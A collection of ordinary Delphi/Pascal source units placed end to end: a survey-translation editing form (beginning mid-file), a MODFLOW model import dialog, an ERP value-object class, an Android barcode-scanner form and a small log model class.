TfrmTranslate.AddClick(Sender: TObject); begin if pclPage.ActivePage = shtLanguage then begin modLibrary.tblLanguage.Append; detLanguage.SetFocus; end else SaveTranslate; end; procedure TfrmTranslate.FindClick(Sender: TObject); begin with modSupport.dlgLocate do begin case pclPage.ActivePage.PageIndex of 0 : begin Caption := 'Locate Heading'; SearchField := 'Name'; DataSource := modLibrary.srcHeading; end; 1 : begin Caption := 'Locate Question'; SearchField := 'Short'; DataSource := modLibrary.wsrcQuestion; end; 2 : begin Caption := 'Locate Scale Value'; SearchField := 'BubbleValue'; DataSource := modLibrary.srcScale; end; 4 : begin Caption := 'Locate Language'; SearchField := 'Langauge'; DataSource := modLibrary.srcLanguage; end; end; Execute; end; end; { links heading, question and scale together so they can be viewed as a unit in testing } procedure TfrmTranslate.LinkClick(Sender: TObject); var vSource : TDataSource; begin with modLibrary do begin if btnLink.Down then begin vSource := wsrcQuestion; btnLink.Hint := 'Independent Edit|Disconnects the Heading and the Scale from the Question'; end else begin vSource := nil; btnLink.Hint := 'Unit Editing|Connects the Heading and the Scale to the Question'; end; btnReview.Enabled := not btnLink.Down; tblScale.MasterSource := vSource; tblHeading.MasterSource := vSource; wtblQuestion.Refresh; end; end; procedure TfrmTranslate.CodeClick(Sender: TObject); begin if vAsText then begin {DG} vAsText := False; {DG} rtfText.UpdateRichText(cText); {DG} end; {DG} if btnCode.Down then begin //GN01: Trap when the user doesn't select any langauge if (cmbLanguage.ItemIndex = -1) then begin MessageDlg('Please select a language to translate.', mtWarning, [mbOK],0 ); btnCode.Down := False; cmbLanguage.SetFocus; Exit; end; //GN01: If no codes are defined, don't display the form if (modLibrary.tblCode.RecordCount < 1) then begin MessageDlg('No code exists for the selected language '+ cmbLanguage.Text + '. Please define codes.', mtWarning, [mbOK],0 ); btnCode.Down := False; cmbLanguage.SetFocus; Exit; end; Screen.Cursor := crHourGlass; try frmCode := TfrmCode.Create( Self ); //Hide; frmCode.Top := ( Screen.Height - frmCode.Height ) div 2; if Screen.Width < ( frmCode.Width + Width ) then begin frmCode.Left := 2; Left := Screen.Width - ( Width + 2 ); end else begin frmCode.Left := ( Screen.Width - frmCode.Width - Width - 4 ) div 2; Left := frmCode.Left + frmCode.Width + 4; end; frmCode.vForm := Self; frmCode.selectedLanguage := cmbLanguage.ItemIndex ; Show; frmCode.Show; finally Screen.Cursor := crDefault; end; end else frmCode.Close; end; procedure TfrmTranslate.ToTransClick(Sender: TObject); function ScaleReview:boolean; begin with modLibrary do begin result := false; tblValues.first; while not tblValues.eof do begin if tblTransS.eof or tblTransS.fieldbyname('Review').asboolean {or tblScaleTextReview.asBoolean} then begin result := true; break; end; tblValues.next; end; end; end; function NeedReview : boolean; begin with modlibrary do result := {wtblQstnTextReview.asBoolean or wtblHeadTextReview.asBoolean or} tblTransQ.eof or tblTransH.eof or tblTransQ.fieldbyname('Review').asBoolean or tblTransH.fieldbyname('Review').asBoolean or ScaleReview; end; begin with modlibrary.wtblQuestion do while (not NeedReview) and (not eof) do next; with modlibrary do if {wtblHeadTextReview.asboolean or} tblTransH.eof or tblTransH.fieldbyname('Review').asBoolean then begin pclpage.Activepage := shtHeading; activeControl := rtfTrHead; end else if {wtblQstnTextReview.asboolean or} tblTransQ.eof or tblTransQ.fieldbyname('Review').asBoolean then begin pclpage.Activepage := shtQuestion; activeControl := rtfTrText; end else begin pclpage.Activepage := shtScale; activeControl := rtfTrScale; end; { move to the next untranslated item 1. limit to selected language 2. limit to selected item type (heading, question, scale) ?? 3. how identify untranslated?? 4. since not all to be translated, how know which to exclude?? } end; { PAGE/TAB } { changes made when leaving a tab/page } procedure TfrmTranslate.PageChanging(Sender: TObject; var AllowChange: Boolean); begin case pclPage.ActivePage.PageIndex of 3 : with modLibrary do begin { tblHeading.MasterSource := nil; tblScale.MasterSource := nil; } end; 4 : begin { language tab } btnAdd.Glyph.LoadFromResourceName( HInstance, 'SAVE' ); btnAdd.NumGlyphs := 2; btnLink.Enabled := True; btnToggle.Enabled := True; cmbLanguage.Enabled := True; end; end; end; { when switching pages, reset buttons, hints and save editing } procedure TfrmTranslate.PageChange(Sender: TObject); begin SaveTranslate; btnFind.Enabled := True; btnNext.Enabled := False; btnFirst.Enabled := False; case pclPage.ActivePage.PageIndex of 0 : begin btnCode.Enabled := True; btnReview.Enabled := true; btnLink.Enabled := true; btnDelete.Enabled := ( modLibrary.tblTransH.RecordCount > 0 ); btnReview.Hint := 'Next To Review|Moves to the next Heading marked for Review'; btnCancel.Hint := 'Cancel Translation|Cancels changes made to the Translated Heading'; btnDelete.Hint := 'Delete Translation|Permanently removes Translated Heading from Library'; btnAdd.Hint := 'Save Translation|Saves the changes made to the Translated Heading'; end; 1 : begin btnCode.Enabled := True; btnReview.Enabled := true; btnLink.Enabled := true; btnDelete.Enabled := ( modLibrary.tblTransQ.RecordCount > 0 ); btnReview.Hint := 'Next To Review|Moves to the next Question marked for Review'; btnCancel.Hint := 'Cancel Translation|Cancels changes made to the Translated Question'; btnDelete.Hint := 'Delete Translation|Permanently removes Translated Question from Library'; btnAdd.Hint := 'Save Translation|Saves the changes made to the Translated Question'; end; 2 : begin btnCode.Enabled := True; btnReview.Enabled := true; btnLink.Enabled := true; btnDelete.Enabled := ( modLibrary.tblTransS.RecordCount > 0 ); btnReview.Hint := 'Next To Review|Moves to the next Scale marked for Review'; btnCancel.Hint := 'Cancel Translation|Cancels changes made to the Translated Scale'; btnDelete.Hint := 'Delete Translation|Permanently removes Translated Scale from Library'; btnAdd.Hint := 'Save Translation|Saves the changes made to the Translated Scale'; end; 3 : begin rtfTsScale.LoadText; { link to sample for page coming from } btnCancel.Enabled := False; btnDelete.Enabled := False; btnAdd.Enabled := False; btnCode.Enabled := False; btnReview.Enabled := False; btnFind.Enabled := False; btnLink.Enabled := False; end; 4 : begin btnToggle.Enabled := False; btnLink.Enabled := False; btnDelete.Enabled := False; {<-DG/CL->( modLibrary.tblLanguage.RecordCount > 0 );} cmbLanguage.Enabled := False; btnCode.Enabled := False; btnReview.Enabled := False; btnCancel.Hint := 'Cancel Language|Cancels changes made to the Langauge'; btnDelete.Hint := 'Delete Language|Permanently removes the Langauge from Library'; btnAdd.Hint := 'New Language|Adds a new, blank Language entry to the Library'; btnAdd.Glyph.LoadFromResourceName( HInstance, 'INSERT' ); btnAdd.NumGlyphs := 1; btnAdd.Enabled := True; end; end; end; { GENERAL METHODS } procedure TfrmTranslate.SaveTranslate; begin with modLibrary do begin { case pclPage.ActivePage.PageIndex of 0 : if tblTransH.Modified then tblTransH.Post; 1 : if tblTransQ.Modified then tblTransQ.Post; 2 : if tblTransS.Modified then tblTransS.Post; 4 : if tblLanguage.Modified then tblLanguage.Post; end;} if tblTransH.Modified then tblTransH.Post; if tblTransQ.Modified then tblTransQ.Post; if tblTransS.Modified then tblTransS.Post; if tblLanguage.Modified then tblLanguage.Post; end; btnCancel.Enabled := False; btnAdd.Enabled := False; end; { COMPONENT METHODS } procedure TfrmTranslate.EditChange(Sender: TObject); begin { need to only do this on visible and if editing; test for page? } btnCancel.Enabled := True; btnAdd.Enabled := True; end; procedure TfrmTranslate.LanguageChange(Sender: TObject); begin with modLibrary do begin tblLanguage.Locate( 'Language', cmbLanguage.Text, [ ] ); vLanguage := tblLanguageLangID.Value; modSupport.dlgSpell.DictionaryName := tblLanguageDictionary.Value; modLibrary.tblTransH.refresh; modLibrary.tblTransQ.refresh; modLibrary.tblTransS.refresh; end; SetLabels; //GN01 try if frmCode <> nil then frmCode.FormActivate(self); except end; end; { FINALIZATION } { remove database configuration used for dialog } procedure TfrmTranslate.FormClose(Sender: TObject; var Action: TCloseAction); begin //Hide; try activecontrol := cmbLanguage; SaveTranslate; with modLibrary do begin tblTransH.Close; tblTransQ.Close; tblTransS.Close; if btnLink.Down then begin tblScale.MasterSource := nil; tblHeading.MasterSource := nil; end; end; modSupport.dlgSpell.DictionaryName := 'English.dct'; vTranslate := vLanguage; vLanguage := 1; except on EDatabaseError do begin Action := caNone; Show; Raise; end; end; end; {á:0225 é:0233 í:0237 ó:0243 ú:0250 ñ:0241 ¿:0191 ¡:0161 °:0176} procedure TfrmTranslate.rtfTrHeadKeyPress(Sender: TObject; var Key: Char); begin if SpanishVowels then case (key) of 'a' : key := chr(225); 'e' : key := chr(233); 'i' : key := chr(237); 'o' : key := chr(243); 'u' : key := chr(250); 'n' : key := chr(241); '?' : key := chr(191); '!' : key := chr(161); end; SpanishVowels := false; staTranslate.simpleText := ''; end; procedure TfrmTranslate.rtfTrHeadKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Key=116) then begin SpanishVowels := true; staTranslate.SimpleText := 'Press a, e, i, o, u, n, ?, or !'; end; end; procedure TfrmTranslate.rtfTrTextKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin rtfTrHeadKeyDown(Sender,Key,Shift); end; procedure TfrmTranslate.rtfTrTextKeyPress(Sender: TObject; var Key: Char); begin rtfTrHeadKeyPress(Sender,Key) end; procedure TfrmTranslate.rtfTrScaleKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin rtfTrHeadKeyDown(Sender,Key,Shift); end; procedure TfrmTranslate.rtfTrScaleKeyPress(Sender: TObject; var Key: Char); begin rtfTrHeadKeyPress(Sender,Key) end; procedure TransCancel(var vTbl:ttable); begin with vTbl do begin if (state=dsEdit) or (state=dsInsert) then Cancel; refresh; end; end; procedure TfrmTranslate.btnCancelClick(Sender: TObject); begin with modlibrary do begin case pclPage.ActivePage.PageIndex of 0 : TransCancel(tblTransH); 1 : TransCancel(tblTransQ); 2 : TransCancel(tblTransS); 4 : if tblLanguage.modified then tblLanguage.Cancel; end; end; frmTranslate.show; frmTranslate.update; end; procedure TransDel(var vTbl:ttable; whichone:string); begin if messagedlg('Are you sure you want to clear this '+whichone+' translation?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then with vTbl do begin Delete; Refresh; end; end; procedure TfrmTranslate.btnDeleteClick(Sender: TObject); begin with modlibrary do begin case pclPage.ActivePage.PageIndex of 0 : TransDel(tblTransH,'Header'); 1 : TransDel(tblTransQ,'Question'); 2 : TransDel(tblTransS,'Scale'); end; end; frmTranslate.show; frmTranslate.update; end; procedure TfrmTranslate.rtfTrHeadExit(Sender: TObject); begin //GN02: //modLibrary.UpdateInsertBtn( False ); end; procedure TfrmTranslate.rtfTrHeadEnter(Sender: TObject); begin //GN02 //modLibrary.UpdateInsertBtn( True ); end; end.
unit frmImportModflowUnit; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, frmCustomGoPhastUnit, StdCtrls, Buttons, Mask, JvExMask, JvToolEdit, ArgusDataEntry, ComCtrls; type TfrmImportModflow = class(TfrmCustomGoPhast) rdeX: TRbwDataEntry; Label1: TLabel; Label2: TLabel; rdeY: TRbwDataEntry; Label3: TLabel; rdeGridAngle: TRbwDataEntry; Label4: TLabel; edNameFile: TJvFilenameEdit; btnHelp: TBitBtn; btnOK: TBitBtn; btnCancel: TBitBtn; lblWarning: TLabel; sbStatusBar: TStatusBar; pbProgress: TProgressBar; cbOldStream: TCheckBox; comboGridOrigin: TComboBox; lblGridOrigin: TLabel; procedure btnOKClick(Sender: TObject); procedure edNameFileChange(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); override; procedure FormDestroy(Sender: TObject); override; private FReadModflowInputProperly: Boolean; FConsoleLines: TStringList; procedure HandleModflowConsolLine(const Text: string); procedure UpdateStatusBar(const Text: string); procedure ShowProgress(Position, Total: integer); { Private declarations } public { Public declarations } end; implementation {$R *.dfm} uses JclSysUtils, Modflow2005ImporterUnit, frmShowHideObjectsUnit, frmDisplayDataUnit, ModelMuseUtilities, StrUtils, frmConsoleLinesUnit, Generics.Collections, System.SysConst; resourcestring StrTheMODFLOWNameFil = 'The MODFLOW Name file appears to be invalid'; StrSWasNotFound = '%s was not found.'; StrNoLISTFileWasFou = 'No LIST file was found in the MODFLOW Name file.'; StrThereWasAnErrorR = 'There was an error reading the MODFLOW input files.' + ' Check the console lines below and %s for error messages.'; StrTheListingFile = 'The listing file, "%s", was not found.'; StrTheNameOfTheMODF = 'The name of the MODFLOW Name file can not contain a' + 'ny spaces.'; StrReadingStressPerio = 'Reading Stress Period %s'; StrAbortingModelMuse = 'Aborting. ModelMuse was unable to create %0:s. Pl' + 'ease correct this problem. The error message was %1:s.'; StrADirectoryListedI = 'A directory listed in the name file "%s" does not ' + 'exist and could not be created.'; StrUnableToSaveTempo = 'Unable to save temporaray name file: %s'; StrTheSolverPackages = 'The solver packages can not be imported in MODFLOW' + '-2000 models.'; {$IF CompilerVersion < 24} // This is a workaround for a bug in SysUtils.DirectoryExists // In Delphi XE2. If fixed in the version of Delphi used to compile // this unit, this function may be removed. function DirectoryExists(Directory: string): Boolean; var Code: Cardinal; LastError: Cardinal; begin Code := GetFileAttributes(PChar(Directory)); if Code <> INVALID_FILE_ATTRIBUTES then begin result := SysUtils.DirectoryExists(Directory) end else begin LastError := GetLastError; Result := (LastError <> ERROR_FILE_NOT_FOUND) and (LastError <> ERROR_PATH_NOT_FOUND) and (LastError <> ERROR_INVALID_NAME) and (LastError <> ERROR_BAD_NETPATH) and (LastError <> ERROR_NOT_READY); end; end; // This is a workaround for a bug in Delphi XE2. // If fixed in the version of Delphi used to compile // this unit, this function may be removed. function ForceDirectories(Dir: string): Boolean; var E: EInOutError; begin Result := True; if Dir = '' then begin E := EInOutError.CreateRes(@SCannotCreateDir); E.ErrorCode := 3; raise E; end; Dir := ExcludeTrailingPathDelimiter(Dir); {$IFDEF MSWINDOWS} if (Length(Dir) < 3) or DirectoryExists(Dir) or (ExtractFilePath(Dir) = Dir) then Exit; // avoid 'xyz:\' problem. {$ENDIF} {$IFDEF POSIX} if (Dir = '') or DirectoryExists(Dir) then Exit; {$ENDIF POSIX} Result := ForceDirectories(ExtractFilePath(Dir)) and CreateDir(Dir); end; {$IFEND} procedure TfrmImportModflow.btnOKClick(Sender: TObject); var ModflowImporterName: string; NameFile: TStringList; Index: Integer; ALine: string; LineContents: TStringList; ListFileName: string; CurrentDir: string; XOrigin: double; YOrigin: double; GridAngle: double; OldFile: string; LineIndex: Integer; Splitter: TStringList; Ftype: string; Nunit: Integer; BadUnitNumberLine: Integer; UnitNumbers: TList<Integer>; Fname: string; FullFileName: string; FileDir: string; UnitNumberIndex: Integer; NameFileName: string; Modflow2000Model: Boolean; ImportParameters: TImportParameters; // DelimPos: Integer; begin inherited; Enabled := False; CurrentDir := GetCurrentDir; try ModflowImporterName := ExtractFileDir(Application.ExeName) + '\' + 'MF2005_Importer.exe'; if not FileExists(ModflowImporterName) then begin Beep; MessageDlg(Format(StrSWasNotFound, [ModflowImporterName]), mtError, [mbOK], 0); Exit; end; NameFileName := edNameFile.FileName; SetCurrentDir(ExtractFileDir(edNameFile.FileName)); BadUnitNumberLine := -1; NameFile := TStringList.Create; Splitter := TStringList.Create; UnitNumbers := TList<Integer>.Create; try Splitter.Delimiter := ' '; NameFile.LoadFromFile(NameFileName); Modflow2000Model := False; for LineIndex := 0 to NameFile.Count - 1 do begin ALine := NameFile[LineIndex]; if (Length(ALine) > 0) and (ALine[1] <> '#') then begin if Pos('"', ALine) >= 1 then begin Splitter.QuoteChar := '"'; end else if Pos('''', ALine) >= 1 then begin Splitter.QuoteChar := ''''; end; Splitter.DelimitedText := ALine; if Splitter.Count > 0 then begin Ftype := UpperCase(Splitter[0]); if (Ftype = 'GLOBAL') or (Ftype = 'BTN') or (Ftype = 'ADV') or (Ftype = 'DSP') or (Ftype = 'GCG') or (Ftype = 'VDF') or (Ftype = 'SSM') or (Ftype = 'RCT') or (Ftype = 'SOR') or (Ftype = 'SEN') or (Ftype = 'PES') or (Ftype = 'OBS') or (Ftype = 'LMG') or (Ftype = 'DAF') or (Ftype = 'DAFG') or (Ftype = 'VSC') or (Ftype = 'DTOB') or (Ftype = 'ADV2') or (Ftype = 'GWT') then begin Modflow2000Model := True; end; end; end; end; for LineIndex := 0 to NameFile.Count - 1 do begin ALine := NameFile[LineIndex]; if (Length(ALine) > 0) and (ALine[1] <> '#') then begin if Pos('"', ALine) >= 1 then begin Splitter.QuoteChar := '"'; end else if Pos('''', ALine) >= 1 then begin Splitter.QuoteChar := ''''; end; Splitter.DelimitedText := ALine; if Splitter.Count > 0 then begin Ftype := UpperCase(Splitter[0]); // comment out MODFLOW-2000 files or other unhandled file types. if (Ftype = 'OBS') or (Ftype = 'LMG') or (Ftype = 'SEN') or (Ftype = 'SEN') or (Ftype = 'PES') or (Ftype = 'GLOBAL') or (Ftype = 'SOR') or (Ftype = 'DAF') or (Ftype = 'DAFG') or (Ftype = 'DTOB') or (Ftype = 'ADV2') or (Ftype = 'BTN') or (Ftype = 'ADV') or (Ftype = 'DSP') or (Ftype = 'GCG') or (Ftype = 'VDF') or (Ftype = 'SSM') or (Ftype = 'RCT') or (Ftype = 'VSC') or (Ftype = 'CFP') or (Ftype = 'CRCH') or (Ftype = 'COC') or (Ftype = 'BFH') or (Ftype = 'BFH2') or (Ftype = 'RIP') or (Ftype = 'FMP') // CLB, NDC, and WHS are only in Visual MODFLOW. or (Ftype = 'CLB') or (Ftype = 'NDC') or (Ftype = 'WHS') or (Ftype = 'GWT') then begin ALine := '#' + ALine; NameFile[LineIndex] := ALine; end else if Modflow2000Model and ((Ftype = 'DE4') or (Ftype = 'GMG') or (Ftype = 'LMG') or (Ftype = 'PCG') or (Ftype = 'PCGN') or (Ftype = 'SIP') or (Ftype = 'SOR')) then begin ALine := '#' + ALine; NameFile[LineIndex] := ALine; Beep; MessageDlg(StrTheSolverPackages, mtInformation, [mbOK], 0); end else if Splitter.Count > 2 then begin if (Ftype = 'DATAGLO(BINARY)') then begin Splitter[0] := 'DATA(BINARY)'; NameFile[LineIndex] := Splitter.DelimitedText; end else if (Ftype = 'DATAGLO') then begin Splitter[0] := 'DATA'; NameFile[LineIndex] := Splitter.DelimitedText; end; if TryStrToInt(Splitter[1], Nunit) then begin if Nunit = 6 then begin BadUnitNumberLine := LineIndex; end else begin UnitNumbers.Add(Nunit); end; Fname := Splitter[2]; FullFileName := ExpandFileName(Fname); FileDir := ExtractFileDir(FullFileName); if not DirectoryExists(FileDir) then begin if not ForceDirectories(FileDir) then begin Beep; MessageDlg(Format(StrADirectoryListedI, [FileDir]), mtError, [mbOK], 0); Exit; end; end; end; end; end; end; end; if BadUnitNumberLine >= 0 then begin Splitter.DelimitedText := NameFile[BadUnitNumberLine]; for UnitNumberIndex := 7 to MAXINT do begin if UnitNumbers.IndexOf(UnitNumberIndex) < 0 then begin Splitter[1] := IntToStr(UnitNumberIndex); Break; end; end; NameFile[BadUnitNumberLine] := Splitter.DelimitedText; end; NameFileName := IncludeTrailingPathDelimiter(ExtractFileDir(edNameFile.FileName)) + 'TempNameFile.nam'; try NameFile.SaveToFile(NameFileName); except on EFCreateError do begin Beep; MessageDlg(Format(StrUnableToSaveTempo, [NameFileName]), mtError, [mbOK], 0); end; end; finally NameFile.Free; Splitter.Free; UnitNumbers.Free; end; // if Pos(' ', ExtractFileName(edNameFile.FileName)) > 0 then // begin // Beep; // MessageDlg(StrTheNameOfTheMODF, mtError, [mbOK], 0); // Exit; // end; XOrigin := StrToFloat(rdeX.Text); YOrigin := StrToFloat(rdeY.Text); GridAngle := StrToFloat(rdeGridAngle.Text) * Pi/180; try OldFile := ExtractFileDir(NameFileName) + '\old.txt'; if cbOldStream.Checked then begin With TStringList.Create do begin SaveToFile(OldFile); Free; end; end else begin DeleteFile(OldFile); end; except on E: EFCreateError do begin Beep; MessageDlg(Format(StrAbortingModelMuse, [OldFile, E.Message]), mtError, [mbOK], 0); ModalResult := mrNone; Exit; end; end; ListFileName := ''; NameFile := TStringList.Create; LineContents := TStringList.Create; try LineContents.Delimiter := ' '; try NameFile.LoadFromFile(NameFileName); except on EFOpenError do begin CantOpenFileMessage(NameFileName); Exit; end; end; for Index := 0 to NameFile.Count - 1 do begin ALine := NameFile[Index]; if (Length(ALine) > 0) and (ALine[1] <> '#') then begin LineContents.DelimitedText := UpperCase(ALine); if LineContents.Count = 0 then begin Beep; MessageDlg(StrTheMODFLOWNameFil, mtError, [mbOK], 0); Exit; end; if Trim(LineContents[0]) = 'LIST' then begin LineContents.DelimitedText := ALine; if LineContents.Count < 3 then begin Beep; MessageDlg(StrTheMODFLOWNameFil, mtError, [mbOK], 0); Exit; end; ListFileName := LineContents[2]; break; end; end; end; finally NameFile.Free; LineContents.Free; end; if ListFileName = '' then begin Beep; MessageDlg(StrNoLISTFileWasFou, mtError, [mbOK], 0); Exit; end; SetCurrentDir(ExtractFileDir(NameFileName)); // if Copy(ListFileName,1,2) = '.\' then // begin // DelimPos := PosEx(PathDelim,ListFileName,3); // if DelimPos > 0 then // begin // ListFileName := Copy(ListFileName,DelimPos+1,MaxInt); // end; // // end; ListFileName := ExpandFileName(ListFileName); FReadModflowInputProperly := False; Execute('"' + ModflowImporterName + '" ' + ExtractFileName(NameFileName), HandleModflowConsolLine); if not FReadModflowInputProperly then begin Beep; frmConsoleLines := TfrmConsoleLines.Create(nil); try frmConsoleLines.lblMessage.Caption := Format(StrThereWasAnErrorR, [ListFileName]); frmConsoleLines.memoConsoleLines.Lines := FConsoleLines; frmConsoleLines.ShowModal; finally frmConsoleLines.Free; end; // MessageDlg(Format(StrThereWasAnErrorR, [ListFileName]), // mtError, [mbOK], 0); Exit; end; if not FileExists(ListFileName) then begin Beep; MessageDlg(Format(StrTheListingFile, [ListFileName]), mtError, [mbOK], 0); Exit; end; sbStatusBar.SimpleText := ''; FreeAndNil(frmShowHideObjects); FreeAndNil(frmDisplayData); ImportParameters.ListFileName := ListFileName; ImportParameters.XOrigin := XOrigin; ImportParameters.YOrigin := YOrigin; ImportParameters.GridAngle := GridAngle; ImportParameters.textHandler := UpdateStatusBar; ImportParameters.ProgressHandler := ShowProgress; ImportParameters.ModelType := mtParent; ImportParameters.NameFile := NameFileName; ImportParameters.GridOrigin := TGridOrigin(comboGridOrigin.ItemIndex); ImportModflow2005(ImportParameters); // ImportModflow2005(ListFileName, XOrigin, YOrigin, GridAngle, // UpdateStatusBar, ShowProgress, mtParent, NameFileName); DeleteFile(NameFileName); if FileExists(OldFile) then begin DeleteFile(OldFile); end; finally SetCurrentDir(CurrentDir); Enabled := True; end; end; procedure TfrmImportModflow.edNameFileChange(Sender: TObject); begin inherited; btnOK.Enabled := FileExists(edNameFile.FileName); end; procedure TfrmImportModflow.FormCreate(Sender: TObject); begin inherited; FConsoleLines := TStringList.Create; end; procedure TfrmImportModflow.FormDestroy(Sender: TObject); begin inherited; FConsoleLines.Free; end; procedure TfrmImportModflow.FormShow(Sender: TObject); begin inherited; SetAppearance; lblWarning.Width := Width - 16; lblWarning.Font.Style := [fsBold]; end; procedure TfrmImportModflow.HandleModflowConsolLine(const Text: string); const Normal = 'Normal termination of simulation'; SP = 'Solving: Stress period:'; TS = 'Time step:'; var SpPos: Integer; TsPos: Integer; StressPeriod: string; SPStart: integer; begin FConsoleLines.Add(Text); SpPos := Pos(SP, Text); TsPos := Pos(TS, Text); if (SpPos > 0) and (TsPos > 0) then begin SPStart := SpPos + Length(SP); StressPeriod := Trim(Copy(Text, SPStart, TsPos-SPStart)); sbStatusBar.SimpleText := Format(StrReadingStressPerio, [StressPeriod]); end else begin if Trim(Text) <> '' then begin sbStatusBar.SimpleText := Text; end; end; Application.ProcessMessages; if Trim(Text) = Normal then begin FReadModflowInputProperly := True; end; end; procedure TfrmImportModflow.ShowProgress(Position, Total: integer); begin if pbProgress.Max <> Total then begin pbProgress.Max := Total end; pbProgress.Position := Position; Application.ProcessMessages; end; procedure TfrmImportModflow.UpdateStatusBar(const Text: string); begin sbStatusBar.SimpleText := Text; Application.ProcessMessages; end; end.
{******************************************************************************* Title: T2Ti ERP Description: VO relacionado à tabela [ECF_E3] The MIT License Copyright: Copyright (C) 2010 T2Ti.COM Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. The author may be contacted at: t2ti.com@gmail.com @author Albert Eije (t2ti.com@gmail.com) @version 1.0 *******************************************************************************} unit EcfE3VO; {$mode objfpc}{$H+} interface uses VO, Classes, SysUtils, FGL; type TEcfE3VO = class(TVO) private FID: Integer; FSERIE_ECF: String; FMF_ADICIONAL: String; FTIPO_ECF: String; FMARCA_ECF: String; FMODELO_ECF: String; FDATA_ESTOQUE: TDateTime; FHORA_ESTOQUE: String; FLOGSS: String; published property Id: Integer read FID write FID; property SerieEcf: String read FSERIE_ECF write FSERIE_ECF; property MfAdicional: String read FMF_ADICIONAL write FMF_ADICIONAL; property TipoEcf: String read FTIPO_ECF write FTIPO_ECF; property MarcaEcf: String read FMARCA_ECF write FMARCA_ECF; property ModeloEcf: String read FMODELO_ECF write FMODELO_ECF; property DataEstoque: TDateTime read FDATA_ESTOQUE write FDATA_ESTOQUE; property HoraEstoque: String read FHORA_ESTOQUE write FHORA_ESTOQUE; property HashRegistro: String read FLOGSS write FLOGSS; end; TListaEcfE3VO = specialize TFPGObjectList<TEcfE3VO>; implementation initialization Classes.RegisterClass(TEcfE3VO); finalization Classes.UnRegisterClass(TEcfE3VO); end.
unit uMainForm; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, System.Messaging, System.Permissions, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.StdCtrls, FMX.Objects, FMX.Controls.Presentation, System.Actions, FMX.ActnList, FMX.Edit, FMX.Media, FMX.Platform, FMX.Layouts, System.Tether.Manager, FMX.StdActns, FMX.MediaLibrary.Actions, FMX.Barcode.DROID; type TMainForm = class(TForm) ToolBar1: TToolBar; imgCamera: TImage; butStart: TButton; StyleBook1: TStyleBook; LayoutBottom: TLayout; lblScanStatus: TLabel; edtResult: TEdit; butShare: TButton; ActionList1: TActionList; ShowShareSheetAction1: TShowShareSheetAction; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure butStartClick(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure FormKeyUp(Sender: TObject; var Key: Word; var KeyChar: Char; Shift: TShiftState); procedure edtResultChange(Sender: TObject); procedure ShowShareSheetAction1BeforeExecute(Sender: TObject); private { Private declarations } fInProgress: Boolean; fFMXBarcode: TFMXBarcode; procedure OnFMXBarcodeResult(Sender: TObject; ABarcode: string); public { Public declarations } end; var MainForm: TMainForm; implementation {$R *.fmx} {$R *.NmXhdpiPh.fmx ANDROID} uses System.Threading, FMX.VirtualKeyboard; procedure TMainForm.butStartClick(Sender: TObject); begin fInProgress := True; if Assigned(fFMXBarcode) then fFMXBarcode.Free; fFMXBarcode := TFMXBarcode.Create(Application); fFMXBarcode.OnGetResult := OnFMXBarcodeResult; fFMXBarcode.Show(False); lblScanStatus.Text := ''; edtResult.Text := ''; end; procedure TMainForm.edtResultChange(Sender: TObject); begin ShowShareSheetAction1.Enabled := not edtResult.Text.IsEmpty; end; procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin CanClose := not fInProgress; end; procedure TMainForm.FormCreate(Sender: TObject); begin fInProgress := False; end; procedure TMainForm.FormDestroy(Sender: TObject); begin fFMXBarcode.Free; end; procedure TMainForm.FormKeyUp(Sender: TObject; var Key: Word; var KeyChar: Char; Shift: TShiftState); var FService: IFMXVirtualKeyboardService; begin if Key = vkHardwareBack then begin TPlatformServices.Current.SupportsPlatformService (IFMXVirtualKeyboardService, IInterface(FService)); if (FService <> nil) and (TVirtualKeyboardState.Visible in FService.VirtualKeyBoardState) then begin // Back button pressed, keyboard visible, so do nothing... end else begin if fInProgress then begin Key := 0; fInProgress := False; end; end; end; end; procedure TMainForm.OnFMXBarcodeResult(Sender: TObject; ABarcode: string); begin edtResult.Text := ABarcode; if (ABarcode <> '') and fInProgress then fInProgress := False; end; procedure TMainForm.ShowShareSheetAction1BeforeExecute(Sender: TObject); begin ShowShareSheetAction1.TextMessage := edtResult.Text; end; end.
unit uLogModel; interface uses uUsuarioModel; type TLogModel = class private FHorario: TDateTime; FDescricao: String; FCodigo: Integer; FUsuario: TUsuarioModel; procedure SetCodigo(const Value: Integer); procedure SetDescricao(const Value: String); procedure SetHorario(const Value: TDateTime); procedure SetUsuario(const Value: TUsuarioModel); published property Codigo: Integer read FCodigo write SetCodigo; property Usuario: TUsuarioModel read FUsuario write SetUsuario; property Descricao: String read FDescricao write SetDescricao; property Horario: TDateTime read FHorario write SetHorario; end; implementation { TLogModel } procedure TLogModel.SetCodigo(const Value: Integer); begin FCodigo := Value; end; procedure TLogModel.SetDescricao(const Value: String); begin FDescricao := Value; end; procedure TLogModel.SetHorario(const Value: TDateTime); begin FHorario := Value; end; procedure TLogModel.SetUsuario(const Value: TUsuarioModel); begin FUsuario := Value; end; end.
